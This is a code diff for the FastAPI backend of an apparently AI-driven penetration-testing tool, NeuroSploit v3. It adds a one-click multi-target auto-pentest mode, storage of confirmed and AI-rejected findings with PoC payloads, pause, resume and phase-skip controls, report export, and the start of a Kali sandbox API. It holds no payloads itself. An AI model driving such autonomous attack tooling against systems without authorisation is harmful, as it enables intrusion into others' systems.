@@ -101,6 +103,7 @@ class AgentMode(str, Enum):
|
||||
RECON_ONLY = "recon_only" # Just reconnaissance
|
||||
PROMPT_ONLY = "prompt_only" # AI decides (high tokens)
|
||||
ANALYZE_ONLY = "analyze_only" # Analysis without testing
|
||||
AUTO_PENTEST = "auto_pentest" # One-click full auto pentest
|
||||
|
||||
|
||||
class AgentRequest(BaseModel):
|
||||
@@ -113,6 +116,8 @@ class AgentRequest(BaseModel):
|
||||
auth_value: Optional[str] = Field(None, description="Auth value (cookie string, token, etc)")
|
||||
custom_headers: Optional[Dict[str, str]] = Field(None, description="Custom HTTP headers")
|
||||
max_depth: int = Field(5, description="Maximum crawl depth")
|
||||
subdomain_discovery: bool = Field(False, description="Enable subdomain discovery (auto_pentest mode)")
|
||||
targets: Optional[List[str]] = Field(None, description="Multiple targets (auto_pentest mode)")
|
||||
|
||||
|
||||
class AgentResponse(BaseModel):
|
||||
@@ -193,7 +198,9 @@ async def run_agent(request: AgentRequest, background_tasks: BackgroundTasks):
|
||||
"findings": [],
|
||||
"report": None,
|
||||
"progress": 0,
|
||||
"phase": "initializing"
|
||||
"phase": "initializing",
|
||||
"rejected_findings": [],
|
||||
"rejected_findings_count": 0,
|
||||
}
|
||||
|
||||
# Run agent in background
|
||||
@@ -212,7 +219,8 @@ async def run_agent(request: AgentRequest, background_tasks: BackgroundTasks):
|
||||
"full_auto": "Full autonomous pentest: Recon -> Analyze -> Test -> Report",
|
||||
"recon_only": "Reconnaissance only, no vulnerability testing",
|
||||
"prompt_only": "AI decides everything (high token usage!)",
|
||||
"analyze_only": "Analysis only, no active testing"
|
||||
"analyze_only": "Analysis only, no active testing",
|
||||
"auto_pentest": "One-click auto pentest: Full recon + 100 vuln types + AI report"
|
||||
}
|
||||
|
||||
return AgentResponse(
|
||||
@@ -255,12 +263,20 @@ async def _run_agent_task(
|
||||
agent_results[agent_id]["progress"] = progress
|
||||
agent_results[agent_id]["phase"] = phase
|
||||
|
||||
rejected_findings_list = []
|
||||
|
||||
async def finding_callback(finding: Dict):
|
||||
"""Real-time finding callback - updates in-memory storage immediately"""
|
||||
findings_list.append(finding)
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["findings"] = findings_list
|
||||
agent_results[agent_id]["findings_count"] = len(findings_list)
|
||||
if finding.get("ai_status") == "rejected":
|
||||
rejected_findings_list.append(finding)
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["rejected_findings"] = rejected_findings_list
|
||||
agent_results[agent_id]["rejected_findings_count"] = len(rejected_findings_list)
|
||||
else:
|
||||
findings_list.append(finding)
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["findings"] = findings_list
|
||||
agent_results[agent_id]["findings_count"] = len(findings_list)
|
||||
|
||||
try:
|
||||
# Create database session and scan record
|
||||
@@ -289,8 +305,9 @@ async def _run_agent_task(
|
||||
db.add(target_record)
|
||||
await db.commit()
|
||||
|
||||
# Store mapping
|
||||
# Store mapping (both directions)
|
||||
agent_to_scan[agent_id] = scan_id
|
||||
scan_to_agent[scan_id] = agent_id
|
||||
agent_results[agent_id]["scan_id"] = scan_id
|
||||
|
||||
# Map mode
|
||||
@@ -299,6 +316,7 @@ async def _run_agent_task(
|
||||
AgentMode.RECON_ONLY: OperationMode.RECON_ONLY,
|
||||
AgentMode.PROMPT_ONLY: OperationMode.PROMPT_ONLY,
|
||||
AgentMode.ANALYZE_ONLY: OperationMode.ANALYZE_ONLY,
|
||||
AgentMode.AUTO_PENTEST: OperationMode.AUTO_PENTEST,
|
||||
}
|
||||
op_mode = mode_map.get(mode, OperationMode.FULL_AUTO)
|
||||
|
||||
@@ -311,6 +329,7 @@ async def _run_agent_task(
|
||||
task=task,
|
||||
custom_prompt=custom_prompt or (task.prompt if task else None),
|
||||
finding_callback=finding_callback,
|
||||
scan_id=str(scan_id),
|
||||
) as agent:
|
||||
# Store agent instance for stop functionality
|
||||
agent_instances[agent_id] = agent
|
||||
@@ -345,7 +364,41 @@ async def _run_agent_task(
|
||||
impact=finding.get("impact", ""),
|
||||
remediation=finding.get("remediation", ""),
|
||||
references=finding.get("references", []),
|
||||
ai_analysis=finding.get("ai_analysis", finding.get("exploitation_steps", ""))
|
||||
ai_analysis=finding.get("ai_analysis", finding.get("exploitation_steps", "")),
|
||||
poc_code=finding.get("poc_code", ""),
|
||||
screenshots=finding.get("screenshots", []),
|
||||
url=finding.get("url", finding.get("affected_endpoint", "")),
|
||||
parameter=finding.get("parameter", finding.get("poc_parameter", "")),
|
||||
validation_status="ai_confirmed",
|
||||
)
|
||||
db.add(vuln)
|
||||
|
||||
# Save rejected findings to database for manual review
|
||||
for finding in report.get("rejected_findings", []):
|
||||
vuln = Vulnerability(
|
||||
scan_id=scan_id,
|
||||
title=finding.get("title", finding.get("type", "Unknown")),
|
||||
vulnerability_type=finding.get("vulnerability_type", finding.get("type", "unknown")),
|
||||
severity=finding.get("severity", "medium").lower(),
|
||||
cvss_score=finding.get("cvss_score"),
|
||||
cvss_vector=finding.get("cvss_vector"),
|
||||
cwe_id=finding.get("cwe_id"),
|
||||
description=finding.get("description", finding.get("evidence", "")),
|
||||
affected_endpoint=finding.get("affected_endpoint", finding.get("endpoint", finding.get("url", target))),
|
||||
poc_payload=finding.get("payload", finding.get("poc_payload", "")),
|
||||
poc_parameter=finding.get("parameter", finding.get("poc_parameter", "")),
|
||||
poc_evidence=finding.get("evidence", finding.get("poc_evidence", "")),
|
||||
poc_request=str(finding.get("request", finding.get("poc_request", "")))[:5000],
|
||||
poc_response=str(finding.get("response", finding.get("poc_response", "")))[:5000],
|
||||
impact=finding.get("impact", ""),
|
||||
remediation=finding.get("remediation", ""),
|
||||
references=finding.get("references", []),
|
||||
poc_code=finding.get("poc_code", ""),
|
||||
screenshots=finding.get("screenshots", []),
|
||||
url=finding.get("url", finding.get("affected_endpoint", "")),
|
||||
parameter=finding.get("parameter", finding.get("poc_parameter", "")),
|
||||
validation_status="ai_rejected",
|
||||
ai_rejection_reason=finding.get("rejection_reason", ""),
|
||||
)
|
||||
db.add(vuln)
|
||||
|
||||
@@ -402,6 +455,7 @@ async def _run_agent_task(
|
||||
agent_results[agent_id]["report"] = report
|
||||
agent_results[agent_id]["report_id"] = report_record.id
|
||||
agent_results[agent_id]["findings"] = findings
|
||||
agent_results[agent_id]["tool_executions"] = report.get("tool_executions", [])
|
||||
agent_results[agent_id]["progress"] = 100
|
||||
agent_results[agent_id]["phase"] = "completed"
|
||||
|
||||
@@ -429,6 +483,37 @@ async def _run_agent_task(
|
||||
pass
|
||||
|
||||
|
||||
@router.get("/by-scan/{scan_id}")
|
||||
async def get_agent_by_scan(scan_id: str):
|
||||
"""Look up agent status by scan_id (reverse lookup for ScanDetailsPage)"""
|
||||
agent_id = scan_to_agent.get(scan_id)
|
||||
if not agent_id:
|
||||
raise HTTPException(status_code=404, detail="No agent found for this scan")
|
||||
|
||||
if agent_id in agent_results:
|
||||
result = agent_results[agent_id]
|
||||
return {
|
||||
"agent_id": agent_id,
|
||||
"scan_id": scan_id,
|
||||
"status": result["status"],
|
||||
"mode": result.get("mode", "full_auto"),
|
||||
"target": result["target"],
|
||||
"progress": result.get("progress", 0),
|
||||
"phase": result.get("phase", "unknown"),
|
||||
"started_at": result.get("started_at"),
|
||||
"completed_at": result.get("completed_at"),
|
||||
"findings_count": len(result.get("findings", [])),
|
||||
"findings": result.get("findings", []),
|
||||
"rejected_findings_count": len(result.get("rejected_findings", [])),
|
||||
"rejected_findings": result.get("rejected_findings", []),
|
||||
"logs_count": len(result.get("logs", [])),
|
||||
"report": result.get("report"),
|
||||
"error": result.get("error")
|
||||
}
|
||||
|
||||
raise HTTPException(status_code=404, detail="Agent data no longer in memory")
|
||||
|
||||
|
||||
@router.get("/status/{agent_id}")
|
||||
async def get_agent_status(agent_id: str):
|
||||
"""Get the status and results of an agent run - with database fallback"""
|
||||
@@ -449,6 +534,8 @@ async def get_agent_status(agent_id: str):
|
||||
"logs_count": len(result.get("logs", [])),
|
||||
"findings_count": len(result.get("findings", [])),
|
||||
"findings": result.get("findings", []),
|
||||
"rejected_findings_count": len(result.get("rejected_findings", [])),
|
||||
"rejected_findings": result.get("rejected_findings", []),
|
||||
"report": result.get("report"),
|
||||
"error": result.get("error")
|
||||
}
|
||||
@@ -495,10 +582,12 @@ async def _get_status_from_db(agent_id: str, scan_id: str):
|
||||
"evidence": getattr(v, 'poc_evidence', None) or "",
|
||||
"request": v.poc_request or "",
|
||||
"response": v.poc_response or "",
|
||||
"poc_code": v.poc_payload or "",
|
||||
"poc_code": getattr(v, 'poc_code', None) or v.poc_payload or "",
|
||||
"impact": v.impact or "",
|
||||
"remediation": v.remediation or "",
|
||||
"references": v.references or [],
|
||||
"screenshots": getattr(v, 'screenshots', None) or [],
|
||||
"url": getattr(v, 'url', None) or v.affected_endpoint or "",
|
||||
"ai_verified": True,
|
||||
"confidence": "high"
|
||||
}
|
||||
@@ -542,14 +631,14 @@ async def _get_status_from_db(agent_id: str, scan_id: str):
|
||||
|
||||
@router.post("/stop/{agent_id}")
|
||||
async def stop_agent(agent_id: str):
|
||||
"""Stop a running agent scan and auto-generate report"""
|
||||
"""Stop a running agent scan, save all findings to DB, and generate report."""
|
||||
if agent_id not in agent_results:
|
||||
raise HTTPException(status_code=404, detail="Agent not found")
|
||||
|
||||
if agent_results[agent_id]["status"] != "running":
|
||||
return {"message": "Agent is not running", "status": agent_results[agent_id]["status"]}
|
||||
|
||||
# Cancel the agent
|
||||
# Cancel the agent immediately
|
||||
if agent_id in agent_instances:
|
||||
agent_instances[agent_id].cancel()
|
||||
|
||||
@@ -558,9 +647,10 @@ async def stop_agent(agent_id: str):
|
||||
agent_results[agent_id]["phase"] = "stopped"
|
||||
agent_results[agent_id]["completed_at"] = datetime.utcnow().isoformat()
|
||||
|
||||
# Update database and auto-generate report
|
||||
# Update database: save findings + generate report
|
||||
scan_id = agent_to_scan.get(agent_id)
|
||||
report_id = None
|
||||
target = agent_results[agent_id].get("target", "Unknown")
|
||||
|
||||
if scan_id:
|
||||
try:
|
||||
@@ -573,47 +663,222 @@ async def stop_agent(agent_id: str):
|
||||
scan.status = "stopped"
|
||||
scan.completed_at = datetime.utcnow()
|
||||
|
||||
# Get findings count
|
||||
# Save confirmed findings to DB (same as completion flow)
|
||||
findings = agent_results[agent_id].get("findings", [])
|
||||
scan.total_vulnerabilities = len(findings)
|
||||
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
|
||||
|
||||
# Count severities
|
||||
for finding in findings:
|
||||
severity = finding.get("severity", "").lower()
|
||||
if severity == "critical":
|
||||
scan.critical_count = (scan.critical_count or 0) + 1
|
||||
elif severity == "high":
|
||||
scan.high_count = (scan.high_count or 0) + 1
|
||||
elif severity == "medium":
|
||||
scan.medium_count = (scan.medium_count or 0) + 1
|
||||
elif severity == "low":
|
||||
scan.low_count = (scan.low_count or 0) + 1
|
||||
elif severity == "info":
|
||||
scan.info_count = (scan.info_count or 0) + 1
|
||||
severity = finding.get("severity", "medium").lower()
|
||||
if severity in severity_counts:
|
||||
severity_counts[severity] += 1
|
||||
|
||||
vuln = Vulnerability(
|
||||
scan_id=scan_id,
|
||||
title=finding.get("title", finding.get("type", "Unknown")),
|
||||
vulnerability_type=finding.get("vulnerability_type", finding.get("type", "unknown")),
|
||||
severity=severity,
|
||||
cvss_score=finding.get("cvss_score"),
|
||||
cvss_vector=finding.get("cvss_vector"),
|
||||
cwe_id=finding.get("cwe_id"),
|
||||
description=finding.get("description", finding.get("evidence", "")),
|
||||
affected_endpoint=finding.get("affected_endpoint", finding.get("endpoint", finding.get("url", target))),
|
||||
poc_payload=finding.get("payload", finding.get("poc_payload", "")),
|
||||
poc_parameter=finding.get("parameter", finding.get("poc_parameter", "")),
|
||||
poc_evidence=finding.get("evidence", finding.get("poc_evidence", "")),
|
||||
poc_request=str(finding.get("request", finding.get("poc_request", "")))[:5000],
|
||||
poc_response=str(finding.get("response", finding.get("poc_response", "")))[:5000],
|
||||
impact=finding.get("impact", ""),
|
||||
remediation=finding.get("remediation", ""),
|
||||
references=finding.get("references", []),
|
||||
ai_analysis=finding.get("ai_analysis", finding.get("exploitation_steps", "")),
|
||||
poc_code=finding.get("poc_code", ""),
|
||||
screenshots=finding.get("screenshots", []),
|
||||
url=finding.get("url", finding.get("affected_endpoint", "")),
|
||||
parameter=finding.get("parameter", finding.get("poc_parameter", "")),
|
||||
validation_status="ai_confirmed",
|
||||
)
|
||||
db.add(vuln)
|
||||
|
||||
# Save rejected findings to DB for manual review
|
||||
rejected = agent_results[agent_id].get("rejected_findings", [])
|
||||
for finding in rejected:
|
||||
vuln = Vulnerability(
|
||||
scan_id=scan_id,
|
||||
title=finding.get("title", finding.get("type", "Unknown")),
|
||||
vulnerability_type=finding.get("vulnerability_type", finding.get("type", "unknown")),
|
||||
severity=finding.get("severity", "medium").lower(),
|
||||
cvss_score=finding.get("cvss_score"),
|
||||
cvss_vector=finding.get("cvss_vector"),
|
||||
cwe_id=finding.get("cwe_id"),
|
||||
description=finding.get("description", finding.get("evidence", "")),
|
||||
affected_endpoint=finding.get("affected_endpoint", finding.get("endpoint", finding.get("url", target))),
|
||||
poc_payload=finding.get("payload", finding.get("poc_payload", "")),
|
||||
poc_parameter=finding.get("parameter", finding.get("poc_parameter", "")),
|
||||
poc_evidence=finding.get("evidence", finding.get("poc_evidence", "")),
|
||||
poc_request=str(finding.get("request", finding.get("poc_request", "")))[:5000],
|
||||
poc_response=str(finding.get("response", finding.get("poc_response", "")))[:5000],
|
||||
impact=finding.get("impact", ""),
|
||||
remediation=finding.get("remediation", ""),
|
||||
references=finding.get("references", []),
|
||||
poc_code=finding.get("poc_code", ""),
|
||||
screenshots=finding.get("screenshots", []),
|
||||
url=finding.get("url", finding.get("affected_endpoint", "")),
|
||||
parameter=finding.get("parameter", finding.get("poc_parameter", "")),
|
||||
validation_status="ai_rejected",
|
||||
ai_rejection_reason=finding.get("rejection_reason", ""),
|
||||
)
|
||||
db.add(vuln)
|
||||
|
||||
# Update scan counts (confirmed only)
|
||||
scan.total_vulnerabilities = len(findings)
|
||||
scan.critical_count = severity_counts["critical"]
|
||||
scan.high_count = severity_counts["high"]
|
||||
scan.medium_count = severity_counts["medium"]
|
||||
scan.low_count = severity_counts["low"]
|
||||
scan.info_count = severity_counts["info"]
|
||||
|
||||
await db.commit()
|
||||
|
||||
# Auto-generate report
|
||||
report = Report(
|
||||
# Auto-generate report record
|
||||
report_record = Report(
|
||||
scan_id=scan_id,
|
||||
title=f"Agent Scan Report - {agent_results[agent_id].get('target', 'Unknown')}",
|
||||
title=f"Agent Scan Report - {target}",
|
||||
format="json",
|
||||
executive_summary=f"Automated security scan completed with {len(findings)} findings."
|
||||
executive_summary=f"Security scan stopped with {len(findings)} confirmed and {len(rejected)} rejected findings."
|
||||
)
|
||||
db.add(report)
|
||||
db.add(report_record)
|
||||
await db.commit()
|
||||
await db.refresh(report)
|
||||
report_id = report.id
|
||||
await db.refresh(report_record)
|
||||
report_id = report_record.id
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error updating scan status: {e}")
|
||||
print(f"Error updating scan status on stop: {e}")
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
|
||||
return {
|
||||
"message": "Agent stopped successfully",
|
||||
"agent_id": agent_id,
|
||||
"report_id": report_id
|
||||
"report_id": report_id,
|
||||
"findings_saved": len(agent_results[agent_id].get("findings", [])),
|
||||
"rejected_saved": len(agent_results[agent_id].get("rejected_findings", [])),
|
||||
}
|
||||
|
||||
|
||||
@router.post("/pause/{agent_id}")
|
||||
async def pause_agent(agent_id: str):
|
||||
"""Pause a running agent scan"""
|
||||
if agent_id not in agent_results:
|
||||
raise HTTPException(status_code=404, detail="Agent not found")
|
||||
|
||||
if agent_results[agent_id]["status"] != "running":
|
||||
return {"message": "Agent is not running", "status": agent_results[agent_id]["status"]}
|
||||
|
||||
if agent_id in agent_instances:
|
||||
agent_instances[agent_id].pause()
|
||||
|
||||
# Save current phase before overwriting with "paused"
|
||||
agent_results[agent_id]["last_phase"] = agent_results[agent_id].get("phase", "recon")
|
||||
agent_results[agent_id]["status"] = "paused"
|
||||
agent_results[agent_id]["phase"] = "paused"
|
||||
|
||||
return {"message": "Agent paused", "agent_id": agent_id}
|
||||
|
||||
|
||||
@router.post("/resume/{agent_id}")
|
||||
async def resume_agent(agent_id: str):
|
||||
"""Resume a paused agent scan"""
|
||||
if agent_id not in agent_results:
|
||||
raise HTTPException(status_code=404, detail="Agent not found")
|
||||
|
||||
if agent_results[agent_id]["status"] != "paused":
|
||||
return {"message": "Agent is not paused", "status": agent_results[agent_id]["status"]}
|
||||
|
||||
if agent_id in agent_instances:
|
||||
agent_instances[agent_id].resume()
|
||||
|
||||
agent_results[agent_id]["status"] = "running"
|
||||
# Restore the phase that was active before pause
|
||||
agent_results[agent_id]["phase"] = agent_results[agent_id].get("last_phase", "testing")
|
||||
|
||||
return {"message": "Agent resumed", "agent_id": agent_id}
|
||||
|
||||
|
||||
# Agent phase order for skip validation
|
||||
AGENT_PHASE_ORDER = ["recon", "analysis", "testing", "enhancement", "completed"]
|
||||
|
||||
# Map phase names from status strings to canonical phase keys
|
||||
PHASE_NORMALIZE = {
|
||||
"starting reconnaissance": "recon",
|
||||
"reconnaissance complete": "recon",
|
||||
"initial probe complete": "recon",
|
||||
"endpoint discovery complete": "recon",
|
||||
"parameter discovery complete": "recon",
|
||||
"attack surface analyzed": "analysis",
|
||||
"vulnerability testing complete": "testing",
|
||||
"findings enhanced": "enhancement",
|
||||
"assessment complete": "completed",
|
||||
}
|
||||
|
||||
|
||||
@router.post("/skip-to/{agent_id}/{target_phase}")
|
||||
async def skip_agent_phase(agent_id: str, target_phase: str):
|
||||
"""Skip the current agent phase and jump to a target phase.
|
||||
|
||||
Valid phases: recon, analysis, testing, enhancement, completed
|
||||
Can only skip forward (to a phase ahead of current).
|
||||
"""
|
||||
if agent_id not in agent_results:
|
||||
raise HTTPException(status_code=404, detail="Agent not found")
|
||||
|
||||
agent_status = agent_results[agent_id]["status"]
|
||||
if agent_status not in ("running", "paused"):
|
||||
raise HTTPException(status_code=400, detail="Agent is not running or paused")
|
||||
|
||||
if target_phase not in AGENT_PHASE_ORDER:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"Invalid phase '{target_phase}'. Valid: {', '.join(AGENT_PHASE_ORDER[1:])}"
|
||||
)
|
||||
|
||||
# Get current phase and normalize it
|
||||
current_raw = agent_results[agent_id].get("phase", "").lower()
|
||||
# Handle "paused" phase — use the last known non-paused phase, default to recon
|
||||
if current_raw in ("paused", "stopped"):
|
||||
current_raw = agent_results[agent_id].get("last_phase", "recon")
|
||||
current_phase = PHASE_NORMALIZE.get(current_raw, current_raw)
|
||||
# Also try prefix match
|
||||
for key in AGENT_PHASE_ORDER:
|
||||
if key in current_phase:
|
||||
current_phase = key
|
||||
break
|
||||
|
||||
cur_idx = AGENT_PHASE_ORDER.index(current_phase) if current_phase in AGENT_PHASE_ORDER else 0
|
||||
tgt_idx = AGENT_PHASE_ORDER.index(target_phase)
|
||||
|
||||
if tgt_idx <= cur_idx:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"Cannot skip backward. Current: {current_phase}, target: {target_phase}"
|
||||
)
|
||||
|
||||
# Signal the agent instance to skip
|
||||
if agent_id in agent_instances:
|
||||
# If paused, resume first so the skip can be processed
|
||||
if agent_status == "paused":
|
||||
agent_instances[agent_id].resume()
|
||||
agent_results[agent_id]["status"] = "running"
|
||||
success = agent_instances[agent_id].skip_to_phase(target_phase)
|
||||
if not success:
|
||||
raise HTTPException(status_code=500, detail="Failed to signal phase skip")
|
||||
else:
|
||||
raise HTTPException(status_code=400, detail="Agent instance not available for signaling")
|
||||
|
||||
return {
|
||||
"message": f"Skipping to phase: {target_phase}",
|
||||
"agent_id": agent_id,
|
||||
"from_phase": current_phase,
|
||||
"target_phase": target_phase
|
||||
}
|
||||
|
||||
|
||||
@@ -1711,7 +1976,10 @@ async def _save_realtime_findings_to_db(session_id: str, session: Dict):
|
||||
impact=finding.get("impact", ""),
|
||||
remediation=finding.get("remediation", ""),
|
||||
references=finding.get("references", []),
|
||||
ai_analysis=f"Identified during realtime session {session_id}"
|
||||
ai_analysis=f"Identified during realtime session {session_id}",
|
||||
screenshots=finding.get("screenshots", []),
|
||||
url=finding.get("url", finding.get("affected_endpoint", "")),
|
||||
parameter=finding.get("parameter", "")
|
||||
)
|
||||
db.add(vuln)
|
||||
|
||||
@@ -1809,6 +2077,29 @@ async def generate_realtime_report(session_id: str, format: str = "json"):
|
||||
scan_results=tool_results
|
||||
)
|
||||
|
||||
# Save to a per-report folder with screenshots
|
||||
import shutil
|
||||
from pathlib import Path
|
||||
timestamp = datetime.utcnow().strftime("%Y%m%d_%H%M%S")
|
||||
target_name = session["target"].replace("://", "_").replace("/", "_").rstrip("_")[:40]
|
||||
report_dir = Path("reports") / f"report_{target_name}_{timestamp}"
|
||||
report_dir.mkdir(parents=True, exist_ok=True)
|
||||
(report_dir / f"report_{timestamp}.html").write_text(html_content)
|
||||
|
||||
# Copy screenshots into report folder
|
||||
screenshots_src = Path("reports") / "screenshots"
|
||||
if screenshots_src.exists():
|
||||
screenshots_dest = report_dir / "screenshots"
|
||||
for finding in findings:
|
||||
fid = finding.get("id", "")
|
||||
if fid:
|
||||
src_dir = screenshots_src / str(fid)
|
||||
if src_dir.exists():
|
||||
dest_dir = screenshots_dest / str(fid)
|
||||
dest_dir.mkdir(parents=True, exist_ok=True)
|
||||
for ss_file in src_dir.glob("*.png"):
|
||||
shutil.copy2(ss_file, dest_dir / ss_file.name)
|
||||
|
||||
return HTMLResponse(content=html_content, media_type="text/html")
|
||||
|
||||
return {
|
||||
|
||||
+166
-1
@@ -64,6 +64,19 @@ async def generate_report(
|
||||
)
|
||||
vulnerabilities = vulns_result.scalars().all()
|
||||
|
||||
# Try to get tool_executions from agent in-memory results
|
||||
tool_executions = []
|
||||
try:
|
||||
from backend.api.v1.agent import scan_to_agent, agent_results
|
||||
agent_id = scan_to_agent.get(report_data.scan_id)
|
||||
if agent_id and agent_id in agent_results:
|
||||
tool_executions = agent_results[agent_id].get("tool_executions", [])
|
||||
if not tool_executions:
|
||||
rpt = agent_results[agent_id].get("report", {})
|
||||
tool_executions = rpt.get("tool_executions", []) if isinstance(rpt, dict) else []
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Generate report
|
||||
generator = ReportGenerator()
|
||||
report_path, executive_summary = await generator.generate(
|
||||
@@ -73,7 +86,8 @@ async def generate_report(
|
||||
title=report_data.title,
|
||||
include_executive_summary=report_data.include_executive_summary,
|
||||
include_poc=report_data.include_poc,
|
||||
include_remediation=report_data.include_remediation
|
||||
include_remediation=report_data.include_remediation,
|
||||
tool_executions=tool_executions,
|
||||
)
|
||||
|
||||
# Save report record
|
||||
@@ -91,6 +105,63 @@ async def generate_report(
|
||||
return ReportResponse(**report.to_dict())
|
||||
|
||||
|
||||
@router.post("/ai-generate", response_model=ReportResponse)
|
||||
async def generate_ai_report(
|
||||
report_data: ReportGenerate,
|
||||
db: AsyncSession = Depends(get_db)
|
||||
):
|
||||
"""Generate an AI-enhanced report with LLM-written executive summary and per-finding analysis."""
|
||||
# Get scan
|
||||
scan_result = await db.execute(select(Scan).where(Scan.id == report_data.scan_id))
|
||||
scan = scan_result.scalar_one_or_none()
|
||||
|
||||
if not scan:
|
||||
raise HTTPException(status_code=404, detail="Scan not found")
|
||||
|
||||
# Get vulnerabilities
|
||||
vulns_result = await db.execute(
|
||||
select(Vulnerability).where(Vulnerability.scan_id == report_data.scan_id)
|
||||
)
|
||||
vulnerabilities = vulns_result.scalars().all()
|
||||
|
||||
# Try to get tool_executions from agent in-memory results
|
||||
tool_executions = []
|
||||
try:
|
||||
from backend.api.v1.agent import scan_to_agent, agent_results
|
||||
agent_id = scan_to_agent.get(report_data.scan_id)
|
||||
if agent_id and agent_id in agent_results:
|
||||
tool_executions = agent_results[agent_id].get("tool_executions", [])
|
||||
# Also check nested report
|
||||
if not tool_executions:
|
||||
rpt = agent_results[agent_id].get("report", {})
|
||||
tool_executions = rpt.get("tool_executions", []) if isinstance(rpt, dict) else []
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Generate AI report
|
||||
generator = ReportGenerator()
|
||||
report_path, ai_summary = await generator.generate_ai_report(
|
||||
scan=scan,
|
||||
vulnerabilities=vulnerabilities,
|
||||
tool_executions=tool_executions,
|
||||
title=report_data.title,
|
||||
)
|
||||
|
||||
# Save report record
|
||||
report = Report(
|
||||
scan_id=scan.id,
|
||||
title=report_data.title or f"AI Report - {scan.name}",
|
||||
format="html",
|
||||
file_path=str(report_path),
|
||||
executive_summary=ai_summary[:2000] if ai_summary else None
|
||||
)
|
||||
db.add(report)
|
||||
await db.commit()
|
||||
await db.refresh(report)
|
||||
|
||||
return ReportResponse(**report.to_dict())
|
||||
|
||||
|
||||
@router.get("/{report_id}", response_model=ReportResponse)
|
||||
async def get_report(report_id: str, db: AsyncSession = Depends(get_db)):
|
||||
"""Get report details"""
|
||||
@@ -187,6 +258,100 @@ async def download_report(
|
||||
)
|
||||
|
||||
|
||||
@router.get("/{report_id}/download-zip")
|
||||
async def download_report_zip(
|
||||
report_id: str,
|
||||
db: AsyncSession = Depends(get_db)
|
||||
):
|
||||
"""Download report as ZIP with screenshots included"""
|
||||
import zipfile
|
||||
import tempfile
|
||||
import hashlib
|
||||
|
||||
result = await db.execute(select(Report).where(Report.id == report_id))
|
||||
report = result.scalar_one_or_none()
|
||||
|
||||
if not report:
|
||||
raise HTTPException(status_code=404, detail="Report not found")
|
||||
|
||||
scan_result = await db.execute(select(Scan).where(Scan.id == report.scan_id))
|
||||
scan = scan_result.scalar_one_or_none()
|
||||
|
||||
if not scan:
|
||||
raise HTTPException(status_code=404, detail="Scan not found for report")
|
||||
|
||||
vulns_result = await db.execute(
|
||||
select(Vulnerability).where(Vulnerability.scan_id == report.scan_id)
|
||||
)
|
||||
vulnerabilities = vulns_result.scalars().all()
|
||||
|
||||
# Generate HTML report
|
||||
generator = ReportGenerator()
|
||||
report_path, _ = await generator.generate(
|
||||
scan=scan,
|
||||
vulnerabilities=vulnerabilities,
|
||||
format="html",
|
||||
title=report.title
|
||||
)
|
||||
|
||||
# Collect screenshots (use absolute path via settings.BASE_DIR)
|
||||
# Check scan-scoped path first, then legacy flat path
|
||||
screenshots_base = settings.BASE_DIR / "reports" / "screenshots"
|
||||
scan_id_str = str(scan.id) if scan else None
|
||||
screenshot_files = []
|
||||
for vuln in vulnerabilities:
|
||||
# Finding ID is md5(vuln_type+url+param)[:8]
|
||||
vuln_url = getattr(vuln, 'url', None) or vuln.affected_endpoint or ''
|
||||
vuln_param = getattr(vuln, 'parameter', None) or getattr(vuln, 'poc_parameter', None) or ''
|
||||
finding_id = hashlib.md5(
|
||||
f"{vuln.vulnerability_type}{vuln_url}{vuln_param}".encode()
|
||||
).hexdigest()[:8]
|
||||
# Scan-scoped path: reports/screenshots/{scan_id}/{finding_id}/
|
||||
finding_dir = None
|
||||
if scan_id_str:
|
||||
scan_dir = screenshots_base / scan_id_str / finding_id
|
||||
if scan_dir.exists():
|
||||
finding_dir = scan_dir
|
||||
if not finding_dir:
|
||||
legacy_dir = screenshots_base / finding_id
|
||||
if legacy_dir.exists():
|
||||
finding_dir = legacy_dir
|
||||
if finding_dir:
|
||||
for img in finding_dir.glob("*.png"):
|
||||
screenshot_files.append((img, f"screenshots/{finding_id}/{img.name}"))
|
||||
# Also include base64 screenshots from DB as files in the ZIP
|
||||
db_screenshots = getattr(vuln, 'screenshots', None) or []
|
||||
for idx, ss in enumerate(db_screenshots):
|
||||
if isinstance(ss, str) and ss.startswith("data:image/"):
|
||||
# Will be embedded in HTML, but also save as file
|
||||
import base64 as b64
|
||||
try:
|
||||
b64_data = ss.split(",", 1)[1]
|
||||
img_bytes = b64.b64decode(b64_data)
|
||||
img_name = f"screenshots/{finding_id}/evidence_{idx+1}.png"
|
||||
# Write to temp for ZIP inclusion
|
||||
tmp_img = Path(tempfile.gettempdir()) / f"ss_{finding_id}_{idx}.png"
|
||||
tmp_img.write_bytes(img_bytes)
|
||||
screenshot_files.append((tmp_img, img_name))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Create ZIP
|
||||
zip_name = Path(report_path).stem + ".zip"
|
||||
zip_path = Path(tempfile.gettempdir()) / zip_name
|
||||
|
||||
with zipfile.ZipFile(str(zip_path), 'w', zipfile.ZIP_DEFLATED) as zf:
|
||||
zf.write(report_path, "report.html")
|
||||
for src_path, arc_name in screenshot_files:
|
||||
zf.write(str(src_path), arc_name)
|
||||
|
||||
return FileResponse(
|
||||
path=str(zip_path),
|
||||
media_type="application/zip",
|
||||
filename=zip_name
|
||||
)
|
||||
|
||||
|
||||
@router.delete("/{report_id}")
|
||||
async def delete_report(report_id: str, db: AsyncSession = Depends(get_db)):
|
||||
"""Delete a report"""
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
"""
|
||||
NeuroSploit v3 - Sandbox Container Management API
|
||||
|
||||
Real-time monitoring and management of per-scan Kali Linux containers.
|
||||
"""
|
||||
|
||||
from datetime import datetime
|
||||
from fastapi import APIRouter, HTTPException
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
|
||||
def _docker_available() -> bool:
|
||||
try:
|
||||
import docker
|
||||
docker.from_env().ping()
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
@router.get("/")
|
||||
async def list_sandboxes():
|
||||
"""List all sandbox containers with pool status."""
|
||||
try:
|
||||
